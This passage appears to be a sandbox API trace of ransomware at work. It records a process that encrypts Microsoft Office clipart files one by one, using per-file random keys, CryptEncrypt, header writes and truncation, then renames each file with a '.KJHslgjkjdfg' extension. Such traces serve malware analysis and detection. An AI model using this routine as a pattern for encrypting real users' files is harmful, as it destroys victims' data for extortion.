WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.417] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.417] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.418] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.418] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.418] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.418] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.418] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2026, lpOverlapped=0x0) returned 1 [0232.419] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2030, dwBufLen=0x2030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2030) returned 1 [0232.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.420] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2030, lpOverlapped=0x0) returned 1 [0232.420] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.420] SetEndOfFile (hFile=0x130) returned 1 [0232.423] GetProcessHeap () returned 0x2ef0000 [0232.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.423] GetProcessHeap () returned 0x2ef0000 [0232.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.kjhslgjkjdfg")) returned 1 [0232.425] CloseHandle (hObject=0x130) returned 1 [0232.426] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0232.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.427] GetProcessHeap () returned 0x2ef0000 [0232.427] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.427] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.427] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0232.430] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.430] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.430] GetProcessHeap () returned 0x2ef0000 [0232.430] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.430] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.430] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.430] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.431] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.431] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.431] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.431] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.431] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.431] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.431] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x35b2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x35b2, lpOverlapped=0x0) returned 1 [0232.433] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x35c0, dwBufLen=0x35c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x35c0) returned 1 [0232.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.433] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x35c0, lpOverlapped=0x0) returned 1 [0232.433] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.433] SetEndOfFile (hFile=0x130) returned 1 [0232.436] GetProcessHeap () returned 0x2ef0000 [0232.436] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.436] GetProcessHeap () returned 0x2ef0000 [0232.436] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.kjhslgjkjdfg")) returned 1 [0232.439] CloseHandle (hObject=0x130) returned 1 [0232.439] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1 [0232.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.441] GetProcessHeap () returned 0x2ef0000 [0232.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.441] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.442] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0232.444] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.444] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.444] GetProcessHeap () returned 0x2ef0000 [0232.444] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.444] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.444] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.445] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.445] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.445] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.445] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.445] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3b2e, lpOverlapped=0x0) returned 1 [0232.454] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b30) returned 1 [0232.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.455] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3b30, lpOverlapped=0x0) returned 1 [0232.455] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.455] SetEndOfFile (hFile=0x130) returned 1 [0232.466] GetProcessHeap () returned 0x2ef0000 [0232.466] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.467] GetProcessHeap () returned 0x2ef0000 [0232.467] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.kjhslgjkjdfg")) returned 1 [0232.471] CloseHandle (hObject=0x130) returned 1 [0232.476] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1 [0232.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.504] GetProcessHeap () returned 0x2ef0000 [0232.506] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.508] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.509] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0232.514] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.514] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.514] GetProcessHeap () returned 0x2ef0000 [0232.514] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.514] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.514] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.514] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.514] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.515] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.515] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.515] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.515] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2242, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2242, lpOverlapped=0x0) returned 1 [0232.518] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2250, dwBufLen=0x2250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2250) returned 1 [0232.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.519] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2250, lpOverlapped=0x0) returned 1 [0232.519] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.519] SetEndOfFile (hFile=0x130) returned 1 [0232.522] GetProcessHeap () returned 0x2ef0000 [0232.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.522] GetProcessHeap () returned 0x2ef0000 [0232.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.kjhslgjkjdfg")) returned 1 [0232.524] CloseHandle (hObject=0x130) returned 1 [0232.524] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1 [0232.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.527] GetProcessHeap () returned 0x2ef0000 [0232.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.527] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.527] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0232.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.530] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.530] GetProcessHeap () returned 0x2ef0000 [0232.530] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.530] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.530] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.530] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.530] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.530] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.530] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, 